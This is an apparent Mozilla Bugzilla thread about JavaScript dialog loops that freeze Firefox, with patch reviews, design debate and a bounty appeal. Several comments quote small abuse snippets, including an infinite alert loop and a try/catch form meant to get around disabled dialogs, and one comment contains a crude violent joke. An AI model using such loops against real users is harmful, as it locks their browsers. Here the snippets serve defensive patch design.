http://www.fossfactory.org/project/p157 done hope to see some of you sponsor it. i adeed $8, more in a week, low on funds right now :-) Andrés are you a dev or user?

(In reply to comment #164) > http://www.fossfactory.org/project/p157 done hope to see some of you sponsor > it. i adeed $8, more in a week, low on funds right now :-) Andrés are you a > dev or user? Dev, not mozilla-dev though. Nice, so I've checked and we're 106 people on the CC list. If everybody puts $8 we reach $848, which is not much but at least we can start to call it a "bounty". As for me, I'll add $16 as soon as I rescue my PayPal account.

@Tushar Kapila I added $5.15 (but I'm only a student yet, I don't earn for myself ;)).

great Michał hope more donate too.

I'd like to know if this would be a direction I could take for this bug, the core pieces are pretty much in place, the issue is really just using them. I'm fairly new to Mozilla's backend, so comments would be very welcome. /me peruses through blame to get some background on nsGlobalWindow...

Ubuntu bug: https://bugs.launchpad.net/ubuntu/+source/firefox-3.0/+bug/242513

So, a few questions/thoughts: 1) Should I use prefs and lockout the site from further prompts entirely? 2) If prefs are the way to go, there should probably be a counter that checks if a certain amount of time (say 3 seconds) has passed since the last alert and resets mShowDisableDialog. 2a) I would then have to handle prompts onunload/onbeforeunload without the timer. 3) The prefs should probably be manageable through the Page Info dialog. I'm thinking of just overhauling these methods entirely with a much simpler impl. that just calls a js component which makes the prompt dialog and handles all the disabling/counting, etc. This would presumably be much cleaner and much safer, is this a better direction?

I don't know how difficult this would be to implement in firefox/gecko's architecture, but would it be possible to render prompts as an overlay within the tab itself? Then there's no need to actually abort the script or have prefs to lock it out, as the site is only breaking itself, not the entire browser. This approach is, I believe, used in google chrome.

bdonlan(In reply to comment #174) > I don't know how difficult this would be to implement in firefox/gecko's > architecture, but would it be possible to render prompts as an overlay within > the tab itself? Then there's no need to actually abort the script or have prefs > to lock it out, as the site is only breaking itself, not the entire browser. > This approach is, I believe, used in google chrome. You are describing content modal dialogs, which is already filed as bug 59314

@Natch: I wouldn't bother with prefs, for two reasons: 1) We need *something* in place, first of all, and people can always complicate it later, and 2) People can just avoid the site in the future. (I've only ever seen the alert-loop occur on malicious sites and my own poorly-written test code.)

@Tim McCormack I don't agree with the "people can avoid this site in the future" attitude. We could comment in this way any vulnerability. People will always encounter 'malicious' sites and browser's role is to prevent them from doing any reasonable harm do its users.

@Michał: Within the scope of this bug, a "malicious site" is one that alert-loops. With Natch's patch, one of these sites causes no harm and is easy to escape, so there is no danger in just having them avoid the site in the future. Of course, prefs could be *useful*, but not having them now is no reason to block progress.

This problem is not only a problem with script generated modal windows, it can also be triggered by http servers who request authentication, but never repond with a authentication failed but keep looping the login request. This locks the browser into requesting a new username/password for ever untill the correct combination is supplied. So simply stopping the javascript from running doesn't help. Some modem/routers do this (medion hardware) but its easy to create a website which does this.

@jan klopper: This could be solved by either the content-modal approach *or* by modification of Natch's approach. As you say, though, it's not a javascript issue, so I think it should be treated separately (user needs a way to back out of an authentication dialog loop.)

(In reply to comment #179) > This problem is not only a problem with script generated modal windows, it can > also be triggered by http servers who request authentication, but never repond > with a authentication failed but keep looping the login request. This would be another bug, but the auth dialog has a "Cancel" button that will stop the loop and show the server's error message.

(In reply to comment #181) > (In reply to comment #179) > > This problem is not only a problem with script generated modal windows, it can > > also be triggered by http servers who request authentication, but never repond > > with a authentication failed but keep looping the login request. > This would be another bug, but the auth dialog has a "Cancel" button that will > stop the loop and show the server's error message. Yes, but what if the server never shows you an error message but simply requests the login credentials again? (I stumbled upon a router that does this)

This includes a fix for iframes that make alert/confirm/prompt dialogs by keeping the counter on the top document. The interval between dialogs is set to 3 seconds, any two dialogs within that timeframe will trigger the checkbox. Something to think about: should the methods return NS_ERROR_* when they're disabled (potentially stopping scripts on the page) or, as the patch here does, continue returning NS_OK? The stop script dialog will actually stop the scripts on the page in the case of while(1)alert('hi') and returning an error can anyhow be circumvented by just doing while(1){try{alert(1)}catch(e){continue}} or some such... Either way, taking and requesting review.

This is really only important for 1.9.0.x or 1.9.1.x being that content and chrome processes will be separated for 1.9.2, requesting wanted (maybe for 1.9.1.x at least?). This fix is pretty trivial in nature and only touches the alert/prompt/confirm methods of the global window...

There are so many simple solutions to this problem, that I really do not get why this is still an issue. Solutions in the simple class, no counters needed, no settings needed. #1 add a disable scripts to all modal js popups. #2 add a disable modal to all modal window - the button only close thes window and block the caller, with a sleep. However the action of disabling should not return an error code to the caller, because that allows the caller to circumvent the disable action. It should simply place the caller in sleep, and place a notification on the page that modals or javascript is disabled temporarily on this page.

Going to revise the patch a bit, hopefully tonight.

This does not fix the showModalDialog issue, that issue can't be fixed like alert/prompt/confirm (where would the checkbox go?). I'll split off another bug for that. I'm not requesting review yet, too tired to even check what I did, I'll look at this tomorrow and proceed.

If this patch allows alerts after reloading the page, does it also cover the case where a page shows an alert, then automatically reloads to show the alert again?

Comment on attachment 379843 [details] [diff] [review] patch ver. 3 This still isn't good, specifically the new GetTop method doesn't work out well, have to use two checks instead of just one, and passing in the assertion strings. I'll change this into a macro instead. That should also prevent crashes in case it is indeed null (I've never yet managed to be in such a state) everytime it is accessed. Comment 188 is also problematic, I'll try to see what can be done in that case. I think the only solution is to pref the choice...

Comment on attachment 379843 [details] [diff] [review] patch ver. 3 here's a free r- NS_IMETHODIMP nsGlobalWindow::Confirm(const nsAString& aString, PRBool* aReturn) { FORWARD_TO_OUTER(Confirm, (aString, aReturn), NS_ERROR_NOT_INITIALIZED); + if (myWindow->mDisallowDialog) + return NS_OK; You're violating XPCOM by returning an NS_SUCCEEDED value and not setting your out value. Personally, I'd much rather you return an NS_FAILED value which will cause some form of exception to go into the js engine which would give a better way of handling things. >@@ -4167,23 +4206,12 @@ nsGlobalWindow::Prompt(const nsAString& > const nsAString& aTitle, PRUint32 aSavePassword, > nsAString& aReturn) > { >- // We don't use "aTitle" because we ignore the 3rd (title) argument to >- // prompt(). IE and Opera ignore it too. See Mozilla bug 334893. >- SetDOMStringToNull(aReturn); I find it very strange that you seem to have removed this block. >- // This code depends on aSavePassword being defaulted to >- // nsIAuthPrompt::SAVE_PASSWORD_NEVER, which happens to have the >- // value 0. If that ever changes, this code needs to deal! >- >- PR_STATIC_ASSERT(nsIAuthPrompt::SAVE_PASSWORD_NEVER == 0); Well, rather *these* blocks. >@@ -5501,7 +5549,6 @@ nsGlobalWindow::Close() > // (since the tab UI code will close the tab in stead). Sure, this > // could be abused by content code, but do we care? I don't think > // so... >- > PRBool wasInClose = mInClose; > mInClose = PR_TRUE; I'm not sure why you've removed this blank line. >+#ifdef DEBUG >+ nsGlobalWindow* topWin = GetTop(this, "Uh, EnterModalState() called w/o a reachable top window?"); >+#else >+ nsGlobalWindow* topWin = GetTop(this); >+#endif The idea of having different calling conventions ifdef DEBUG makes me sick, please don't. >+ScriptDialogLabel=Don't show this again for this site You haven't defined "site" here at all. Which is bad, do you mean "window", "domain", "page", or something else?

Ok, this patch proposes a different approach, this isn't entirely ready for review yet, but I would welcome any comments. I covered all of timeless' concerns, besides the assert because the method doesn't use nsIAuthPrompt anymore and doesn't use aSavePassword at all. I'll need to file a followup to get this into page info and the crh dialog. This uses a similar pref hack as the geolocation service. This also fixes showModalDialog by raising a Confirm dialog if there were too many dialogs (in too short a time) on the page asking if the user wishes to disable dialogs for the site. The text was taken verbatim from Chrome, I'll get ui-review once I'm happy with the patch.

Er, just realized i should probably be using the principal uri to catch odd cases of javascript: and data: (and who knows what else) uris. I'll fix that next...

great to see a fix on the way. maybe someone can come up with a test plan for beta testers?

also there is a modest but heart felt payment in escrow for this. hope others contribute now that a fix is in the making. please go to http://www.fossfactory.org/project/p157 to contribute

Much better, same idea as the second approach. Comments, as always are welcome. I think this is ready for review. Note, this patch will not disable dialogs for chrome, another added benefit.

I don't see the reason for all the 3 second time duration checks. Does it really hurt, to show the checkbox for all content alerts starting with the first checkbox? Opera does the same. And it would allow you to stop annoying scripts like setInterval(function(){alert("foo")},4000); IMO alerts are ugly by itself. Thet means if I see a page (mis)using an alert, I wouldn't want to give it a chance to show another.

(In reply to comment #196) There are very legitimate reasons for sites to use alert/prompt/confirm. If every dialog would have a checkbox allowing the user to prevent future dialogs there would be too many "good" sites that get blacklisted (either by mistake or simply because the user didn't realize what the checkbox was for). This at least leaves the legitimate use case intact, while allowing the user to blacklist the evil ones. The checkbox ensures that the site will no longer be able to show the user *any* dialogs, so I think treading with care, instead of carpet-bombing, makes more sense.

(In reply to comment #197) > If every dialog would have a checkbox allowing the user to prevent future > dialogs there would be too many "good" sites that get blacklisted. Suggestion: Two checkboxes. The first says "Stop all scripts on this page". The second checkbox is below, indented, and normally disabled, saying "Always disable javascript on this domain". While the first box is checked, the second is enabled. I also recommend having a help link next to the second, so the user can make an informed decision. How will prefs be handled? I suppose you could create a new blacklist/whitelist similar to the cookie and software installation lists. Come to think of it, the add-on installation mechanism offers a nifty solution, where a button in the "installation blocked" banner gives the user a pre-filled UI to allow future installation prompts from the site. Similarly, you could replace the second checkbox with a button saying "Always stop JS on this site" or somesuch, with a similar action.

I would place user preference above webmaster preference in every case. alert/prompt/confirm are pretty old-school, anyway, being replaced with more appropriate AJAX notification methods. In any case, putting the checkbox on every alert box is by far the simplest method, and it would be (practically) impossible for someone to find a way around it. If the checkbox only appears on the second and subsequent boxes, someone could (perhaps) bounce the user between two different domains to keep them trapped, resetting the box-counter every time.

I think 59314 currently should get the higher priority, as alert loops are more common and you really just want to get away from this **** page afap without having to set any preferences (Honestly, when I hit the "three gays in the bath tub"-page I don't want to read the alert dialog and the checkbox labels - I want to close it right away).

Comment on attachment 381186 [details] [diff] [review] use the permissionManager >+ static inline nsGlobalWindow *MaybeGetTop(nsGlobalWindow *aWin) >+ { >+ nsCOMPtr<nsIDOMWindow> top; >+ aWin->GetTop(getter_AddRefs(top)); >+ if (top) >+ return static_cast<nsGlobalWindow *>(static_cast<nsIDOMWindow *>(top.get())); > } free r-: MaybeGetTop has a return type, but not all control paths return a value. please try compiling with stricter compiler / warning combinations so that you catch such things. >+ScriptDialogLabel=Prevent this page from creating additional dialogs minor warning: a page could try to trigger the addSidebar, addSearch, and other dialogs (if they still exist). I wonder if instead of simply discarding the messages they should be sent to the consoleservice.

window.sidebar.addPanel("Google", "http://www.google.com/", "") Dammit, there are just too many ways a site can abuse Firefox users. See https://developer.mozilla.org/en/DOM/window.sidebar for all the possibilities. IMHO it should not be possible for sites to do the stuff in that page. Worst part about this is that in 3.0 most of those issues are very minor: 1) Adding a search engine in a loop throws up the Stop Script dialog. 2) Adding a sidebar throws up a non-modal dialog. In 3.5 and 3.next the dialog is modal for sidebar additions. My solution for all of these (which I think would be better handled in a followup) is to use the popup blocker code to control them. That would enforce no more than 20, and only allow them when the user requested them. Thanks for bringing this to my attention. Oh, and let's not forget about window.external.AddSearchProvider which is also content-accessible. Anyone got an oversized hacksaw?

This just fixes the compiler warning, the rest have separate bugs filed. The issue with sending it to the console can also be handled in a separate bug if that's indeed wanted.

Comment on attachment 382063 [details] [diff] [review] patch with warning fix so... my concern about the text is that the text will confuse the user. If i see a button which says "prevent this page from creating additional dialogs", then I don't expect to get additional dialogs if i trigger that feature :). at this point, I'm out of comments. I wasn't going to be your r+ (and mconnor or an equiv won't be either). But I'm passing the review flag. And yes, thanks for asking me and thanks for fixing the warning (personally i'd have done if (!top) return nsnull; return ...; -- it's closer to the gecko way.)

Comment on attachment 382063 [details] [diff] [review] patch with warning fix Need to initialize mLastDialogQuitTime. New patch shortly.

Assertion was because the TimeStamp was 0, added a check for that, should be good to go.

Comment on attachment 382618 [details] [diff] [review] assertion fix I'm defintely not a good reviewer for this patch. bumping that to jst. Not sure on the strings, flagging the bug as uiwanted.

This has bit-rotted a bit. Plus, took out some stuff that wasn't being used and reversed the logic in ShowModalDialog to show the prompt before the second window is raised. I guess I'll leave the review/superreview to jst.

Comment on attachment 387019 [details] [diff] [review] minor cleanup and update to tip First off, sorry for the delay in getting to this, vacationing and catching up after my vacation kept me from looking at this before now. I'd be happy to accept a change to deal with dialog spamming sites, but I don't think using the permission manager is the right thing to do here. I don't think disabling dialogs per URI is what we want. That would mean if a site that uses dialogs (sanely), and relies on them, ever gets dialogs disabled (due to a temporary problem with the site or what not), then there's no clear way for users that disabled dialogs on that site (to save their browser from being held hostage by the broken site) to make dialogs on the site work again. It would seem to me that we simply want this to be a per window state that we can set, meaning that if you visit site.com and get spammed by dialogs and disable them, next time you go back you'd need to disable them again. And chances are you won't go back. And I think we want that, to avoid problems like the one described above. I don't think we want to deal with the case where a site shows an alert on load, and shows it again if reloading etc, those situations are annoying, sure, but you can recover from them and simply not go back to those sites. If we want to worry about that type of problem, I think that's material for either a different bug, or a Firefox extension. Here's some general notes about the patch as well: >+// Amount of time between alert/prompt/confirm that will trigger the stop dialog >+// checkbox >+#define CONCURRENT_DIALOG_TIME_LIMIT 3 // 3 sec How about "Amount of time allowed between alert/prompt/confirm before enabling the stop dialog checkbox."? +nsGlobalWindow::MakeScriptDialogText(const char *aPropName, nsXPIDLString &aOutLabel) { + nsContentUtils::GetLocalizedString(nsContentUtils::eCOMMON_DIALOG_PROPERTIES, + aPropName, aOutLabel); +} Is this really necessary? How about just calling nsContentUtils::GetLocalizedString() directly? If not, stick this in the header and make it inline... +PRBool +nsGlobalWindow::ShowDisableDialog(nsGlobalWindow *aWin) Name this ShouldEnableDisableDialog() or something so it doesn't sound like this method shows a disable dialog or something :) - In nsGlobalWindow::IsDialogDisabled(): + nsCOMPtr<nsIURI> uri; + aWin->GetPrincipal()->GetURI(getter_AddRefs(uri)); This should return PR_FALSE if uri is null, as it will be if this is ever called from chrome code. +nsresult +nsGlobalWindow::SetDialogDisabled(nsGlobalWindow *aWin) Make this not be static so you don't need to pass in the window all the time. - In nsGlobalWindow::Alert(): + nsGlobalWindow *myWindow = MaybeGetTop(this); Make MaybeGetTop() be a non-static method in nsGlobalWindow that returns an nsGlobalWindow* so you don't need to pass in the window. And name all the "myWindow" variables "topWindow", since that's what it really is. + if (IsDialogDisabled(myWindow)) + return NS_OK; Should we not throw when we encounter a case like this? AFAICT only broken code, or code that shouldn't run in the first place will ever trigger this, and not throwing here could hide such code rather than making it clear to developers that something's not right. I want to have a closer look at more details in this once this gets closer, but I'd like to see the bigger issues ironed out before I do that.

As a user I agree that just the once/ per session memory is enough as a fix. If I go back to the site then dialogs should be enabled again - and I can disable them again (like its with the Opera UI). An extension could later tell me (when I click a link or enter a URL in the address bad) that this site is on my "annoying dialog spamming" list and prompt me to stop loading the page or stop scripts from runing even before the page downloads

(In reply to comment #209) > I'd be happy to accept a change to deal with dialog spamming sites, but I don't > think using the permission manager is the right thing to do here. I don't think > disabling dialogs per URI is what we want. That would mean if a site that uses > dialogs (sanely), and relies on them, ever gets dialogs disabled (due to a > temporary problem with the site or what not), then there's no clear way for > users that disabled dialogs on that site (to save their browser from being held > hostage by the broken site) to make dialogs on the site work again. It would > seem to me that we simply want this to be a per window state that we can set, > meaning that if you visit site.com and get spammed by dialogs and disable them, > next time you go back you'd need to disable them again. And chances are you > won't go back. And I think we want that, to avoid problems like the one > described above. I don't think we want to deal with the case where a site shows > an alert on load, and shows it again if reloading etc, those situations are > annoying, sure, but you can recover from them and simply not go back to those > sites. If we want to worry about that type of problem, I think that's material > for either a different bug, or a Firefox extension. Ok, removed the permission manager part. Not even sure why it would help, as in the case of a reloading top-level window the counter would anyhow be reset. > - In nsGlobalWindow::IsDialogDisabled(): > > + nsCOMPtr<nsIURI> uri; > + aWin->GetPrincipal()->GetURI(getter_AddRefs(uri)); > > This should return PR_FALSE if uri is null, as it will be if this is ever > called from chrome code. Since I'm not using the permission manager I have no need of getting the uri. This code is anyhow not intended to be called from chrome so it shouldn't really matter. I don't think it's worth the effort to check for a chrome call here, so I didn't. > + if (IsDialogDisabled(myWindow)) > + return NS_OK; > > Should we not throw when we encounter a case like this? AFAICT only broken > code, or code that shouldn't run in the first place will ever trigger this, and > not throwing here could hide such code rather than making it clear to > developers that something's not right. I changed this to throw, but I would really like to be able to give a more constructive message than "Component returned failure code (NS_ERROR_FAILURE)...". No other dom code that i know of throws meaningful error messages, only js and security stuff. I'm pretty sure it can be done with JS_ReportError, just wanted to get your opinion first if this is necessary... Everything else was addressed. I made all the helper functions inline, and non-static.

Ok, I came up with a better overall heuristic for disabling alerts/etc., along these lines: 1) Any time a popup is allowed, we won't show the disable dialog until the spam count is reached. 2) The spam count is incremented for every alert that satisfies all of these conditions: a) It's only incremented when we're going through the popup allowed control flow. b) It's incremented if the alert/etc. is within CONCURRENT_DIALOG_TIME_LIMIT of the previous dialog, otherwise it's reset. 3) Otherwise (i.e. when not in an event or in trusted code) the count is incremented, and when MAX_DIALOG_LIMIT is reached the user will be able to disable them. 4) Even if alert/etc. is disabled, an alert can still show if the popup state is openAllowed and the dialog spam count is below MAX_DIALOG_LIMIT. This can happen if there's a page that does something like |<body onload="while(1)alert(1)"> <a href="javascript:alert(1)"> Alert </a> </body>|, and the user disables it during the onload loop, then clicks on the link. I also fixed one case (in showModalDialog) where I forgot to change NS_OK to NS_ERROR_FAILURE.

Not blocking 1.9.2 on this, but this is likely to get fixed anyways as I'm close to having time to finish my review of the patch for this bug.

Comment on attachment 388158 [details] [diff] [review] patch ver. 5 - In nsGlobalWindow::Alert(): + if (IsDialogDisabled()) + return NS_ERROR_FAILURE; Maybe return NS_ERROR_NOT_AVAILABLE to be a bit more descriptive about this error? I don't think it's worth coding up something to explain what's going on in this case beyond the exception. Same thing in all the other methods that do this check. - In nsGlobalWindow::Alert(): + PRBool disallowDialog = PR_FALSE; This variable is only used inside the if (shouldEnableDisableDialog) block below, so move the declaration inside that block please. Same thing in a few more similar places. + SetLastDialogQuitTime(); Could we do this in LeaveModalState() instead of spreading out calls to this method? - In nsGlobalWindow::Prompt(): So this change changes us from using nsIAuthPrompt to using nsIPrompt, but I think that's fine. nsIAuthPrompt used to be the only prompting API we had and AFAIK that's the only reason we use it here and not nsIPrompt. - SetDOMStringToNull(aReturn); You still need this. + inline nsGlobalWindow *MaybeGetTop() I'm think this should be inline as you have it, but it should be named GetTop(), no need for "Maybe". It won't conflict with the existing GetTop(), different signature... + inline PRBool ShouldEnableDisableDialog() But this method, and all the other inline methods below, really don't need to be inline. Move them to the .cpp file please. + topWindow = topWindow->GetCurrentInnerWindowInternal(); + if (topWindow->mLastDialogQuitTime.IsNull()) It's technically possible for GetCurrentInnerWindowInternal() to return null IIRC, so null check here and other places where you call GetCurrentInnerWindowInternal(). r- until that's fixed, but this is looking good!

Ok, all the comments are addressed in this patch. I also fixed a case where the disable dialog could show with the result being entirely meaningless, as follows: with a script such as | var a = 5; while(--a)alert(a); | if the user hits the disable checkbox then we will only allow dialogs if they're are openAllow'ed and remain _below_ MAX_DIALOG_LIMIT. Previously it was allowed up until MAX_DIALOG_LIMIT, at which time ShouldEnableDisableDialog would return true and the disable checkbox would show, but it wouldn't do anything useful. The change is small, in IsDialogDisabled I changed the last check: | topWindow->mDialogAbuseCount > MAX_DIALOG_LIMIT | to | >= |.

If this doesn't make alpha, can it still make 1.9.2? Also note: the MAX_DIALOG_LIMIT and CONCURRENT_DIALOG_TIME_LIMIT defines might need some tweaking. Maybe 2 seconds for the latter and 4 or 5 for the former?

Fixed two more things, the spam count shouldn't be reset when popups are > openControlled and the time stamp is under the allotted duration, it should be incremented. Also, removed the nsIPermissionManager include as it was from a different patch *sigh*. Same questions re:changing the define values from the previous comment.

Hi guys, Please don't look for a really complicated / bloated solution for such a simple problem. IMHO the browser should stay slim. Any fancier solution coud be implemented as a plug in. The browser should just NOT hang due to badly written web sites or due to a programming error during development. It should ALWAYS be possible to STOP a javascript of a given tab (even if an alert popped up) (with or without loops. If I decide I'm no more interested in a certain tab I should be able to stop or close it) I think the simplest fix from a user point of view would be: - alerts are only modal for a tab and not for the entire window. Thus one could easily click on the stop button in the main menu. - another probably quite simpe fix (not messing around with the modality) would be to pop up a 'do you want to stop the current javascript' dialog as soon as the user closes an alert() instead of clicking on 'OK' (or alternatively always display a small 'abort' button in alert() windows. - If my suggested second fix is not possible, then why not 'pause' ALL javascripts if desired, close the tab and resume all java scripts. It would just be nice if the issue could be fixed in the next release. It is open since 2000 and looking at the amount of feedback web developers and users would like to hav a fix. P.S. As long as the issue is not fixed. Perhaps it could be worked around with a plugin? (allowing to abort any alert() / confirm() )

And still, the problem isn't just javascript dialogs not being modal. The problem also exists with http authentication dialogs. If the users gets to a malicious server which will always request for new credentials, the browser will lock up like with a while(){alert();} The normal way of handling http authentication is to send a forbidden header after a number of tries, but there's a whole range of cheap routers who will just keep sending requests for authentication instead. All the tricks to solve just the javascript problem will all be unneeded as soon as this authentication problem is solved.

Isn't my suggested solution for alert() not the same as for authentification??? Adding an abort option on modal windows (e.g. popping up a dialog when 'closing' an alert / auth window) The only difference to alerts would be, that 'aborting' an authentification might affect multiple tabs (e.g. when restoring a previous session) It should always be possible to make the browser stop doing something repeatedly if the user desires so.

Johnny, is there anything else I need to address in the new patch? It seemed to be fine modulo some comments you made, but then this fell off...

Comment on attachment 394384 [details] [diff] [review] patch ver. 5.2 Not much left here, this is looking good. The one thing that we need to straighten out still is to get our automated tests (mochitest) to pass with this patch, currently they do not since they do things like open modal dialogs one after another (showModalDialog() in particular) and test various things, and with this patch we end up throwing the modal dialog asking if we should allow the modal dialog to open. We need a way to let those tests keep running. You can run the tests that trigger this problem yourself with the following command: python <obj-dir>/_tests/testing/mochitest/runtests.py --test-path=dom/tests/mochitest/bugs (and to run the whole set of tests, remove the --test-path argument, and prepare to wait for an hour or so, and you won't be able to use that computer while it's running, the tests are extremely sensitive to focus etc while running, so any UI interactions while the tests run are likely to cause failed tests). The few things that still don't look quite right with the patch are: - In nsGlobalWindow::IsDialogDisabled(): + return topWindow && + topWindow->mDialogDisabled && + (topWindow->GetPopupControlState() > openAllowed || + topWindow->mDialogAbuseCount >= MAX_DIALOG_LIMIT); Isn't the first condition sort of backwards there? I'd expect dialogs to be disabled if we have no top window. - In nsGlobalWindow::ShouldEnableDisableDialog(): This method should probably return false if nsContentUtils::IsCallerTrustedForCapability("UniversalXPConnect") returns true, that fixes some of the problems with mochitest, but not all. - In nsGlobalWindow::Prompt(): - nsXPIDLString uniResult; + nsAutoString fixed; + StripNullChars(aInitial, fixed); + PRUnichar* uniResult = ToNewUnicode(fixed); Don't use raw PRUinchar pointers when avoidable, use nsXPIDLString here. + NS_ENSURE_SUCCESS(rv, rv); This leaks uniResult if rv is an error code. This would not be a problem with nsXPIDLString... With those minor changes made and with a solution to the modal dialogs that now block mochitest figured out, I'll r+sr this. I can help look more into the mochitest thing as well if you're unable to. Thanks for your patience here, and sorry once again for not finding the time to get back to this sooner!

About the mochitests, the code already detects chrome privileges because popups are automatically escalated to popupAllowed for trusted documents. The problem can be one of two things, a) they're not using chrome privileges or b) they open more than 10 dialogs, I'll look into it. About the uniResult, the signature on nsIPrompt::Prompt (the one that uses a checkbox) only allows PRUnichar and it needs to read and write to that string (it uses an inout param). I'll fix the leak though.

Fixed the leak, still using PRUnichar, the inout PRUnichar is used to first set the string in the prompt textbox (optional argument to window.prompt) and then used to return the string entered by the user. The check for topWindow in |IsDialogDisabled| is necessary, I think, because the call to it is made at the start of the function (i.e. in alert/prompt/confirm) at which time it seems that it's possible not to have a top window (or at least not an inner window on the top window). The checking fit the pattern of all other similar calls to get the inner window of the top window. Sent this patch to try, results are fine (modulo a completely unrelated error on Linux and Windows): http://tinderbox.mozilla.org/showlog.cgi?log=MozillaTry/1252266088.1252272608.11345.gz&fulltext=1 (WINNT) http://tinderbox.mozilla.org/showlog.cgi?log=MozillaTry/1252266089.1252274473.30953.gz&fulltext=1 (Linux) Mac hasn't completed yet, but I have to run, if any errors/warnings come up on the mac box I'll be sure to report that here.

Just realized what you meant about the top window, _reverse_ the logic, not _remove_. Makes a lot more sense now, updated the patch.

Missed one PR_FALSE in IsDialogDisabled, changed it to PR_TRUE as well. Also fixed showModalDialog, I wasn't using the title label, must've gotten messed up somewhere along the way...

Tryserver went all green: WINNT: http://tinderbox.mozilla.org/showlog.cgi?log=MozillaTry/1252394791.1252401474.26195.gz&fulltext=1 Mac: http://tinderbox.mozilla.org/showlog.cgi?log=MozillaTry/1252394791.1252402068.32482.gz&fulltext=1 Linux: http://tinderbox.mozilla.org/showlog.cgi?log=MozillaTry/1252394791.1252403271.12814.gz&fulltext=1

Nochum, so far as I can tell your patch doesn't actually stop the script right? It just prevents further alerts? Just making sure I'm clear on that. It's a good patch and I hope it gets applied.

(In reply to comment #230) Yes, your analysis is correct, this patch does not stop the execution of the script. The reason for that (and for the heuristic of when to disable alerts) is that they are valid DOM calls that are legitimately used heavily around the web. IMHO, this calls for at least some sort of abuse threshold before killing the dialog, and even then, it could be a developer mistake, a bug in the website or a myriad of other reasons that don't necessarily mean "evil site". In most cases this will stop the currently running script anyhow, unless it's in a try-catch block, since it returns an error code. If the website does abuse the try-catch thing, the stop script dialog will pop up after a few seconds of looping over the script.

guys, is this really the right way to fix it? I think no heuristics are needed. The main problem is, that the dialog box is modal and not, that users are flooded by dialog boxes. As long as the user has the choice to stop a script even while a dialog box is open everything would be fine Same for authentification windows etc. When a user clicks on the top right corner of a dialog box/ authentification box to close it, then the user could be asked if he wants to continue or stop the script. whether he wants to retry authentification or just stop requesting a page. Perhaps I overlooked the explanation what would be less elegant or wrong with that approach, but to me my suggestion seems a nice way to solve this problem.

In support of what klausfpga said, this is the direction Firefox will eventually have to go, eventually. Any fancy mechanism that attempts to track how many times an alert open within a period of time will be worked around by attackers. The best solution would be to make the dialog box non-modal, and second best (but still worthwhile) would be to make it so users can exit all currently active scripts on a page. There's no reason that the site would have to be permanently blacklisted. If the user decides they're tired of having to stop script execution on a particular site all the time, they'll stop visiting it. I think something critical is being forgotten here: The user should be left in charge, ultimately. Even if the site has a "legitimate" reason to send a series of alerts and dialogs, the user should be able to abort it so they can go do something else, if they choose. If this makes webmasters unhappy, they'll just have to figure out a better way to interact with the user.

I think that dpk and klausfpga are right: heuristics are like anti-virus, they TRY to detect illegitimate actions. And here's the problem : - I'm a web programmer and my script on my web-page is testing 10 cookies values with 10 alert/prompt... Maybe I want my script to be able to detect 15 values that would be OK, and with a bug, I accidentally test 1000 or infinite values, that block ALl TABS. With your fix, imagine that the alerts are blocked on the 12th loop, I'll search HOURS where the bug is! - what if hackers use while(0) { alert(0); httpautenticate(); confirm(); extension installation() } with random ? I think the best would be: - (less important) to allow a script cancel with right click/tools menu or somewhere else, like opera/chrome. - (really important) to disable modal: EVERYTHING in a tab must NOT block others tabs. Think with tabs like multi-task OS. Tabs on browser have become as important as programs! Ant there's also this problem everywhere : * I've 5 mail account on Thunderbird. When wifi is not detected, he blocks me with 5 alerts() * when I copy files on windows, and some of them are read only or CRC errors: transfer is cancelled or you have to click XXX times on a stupid boutton. * Sometimes, when I launch games, windows return to desktop to say : I must install spreech blabla, even if I never want it. * On Word, EVERYTIME I make a table, it's asking me if I want to install automatic correction that I never want. (I'm on OOo now)

Johnny: ping?

also, this bug is exploited by malware authors to trick users into installing active-x controls. so it's pretty serious. a good solution is the page-modal dialog boxes... but i hear firefox is nowhere near getting that to work. so another solution is needed in the near-term

if this is so serious as described above maybe some of you will contribute real money so a good dev will fix this two of us did make a contribution. till then i have work arounds! http://www.fossfactory.org/project/p157 done hope to see some of you sponsor it.

wow really? Can we use this money to execute all the asshats who are preventing good patches ever getting into the software? The problem here is not a lack of contributors, the problem is an excess of bureaucracy.

(In reply to comment #238) > wow really? Can we use this money to execute all the asshats who are > preventing good patches ever getting into the software? The problem here is > not a lack of contributors, the problem is an excess of bureaucracy. I'm not sure exactly what or who you're referring to, but may I suggest you read the Bugzilla Etiquette (https://bugzilla.mozilla.org/page.cgi?id=etiquette.html) before throwing out such accusations in the future? Thanks!

Might I suggest that some fix, ANY FIX be committed for this decade old bug? Thanks!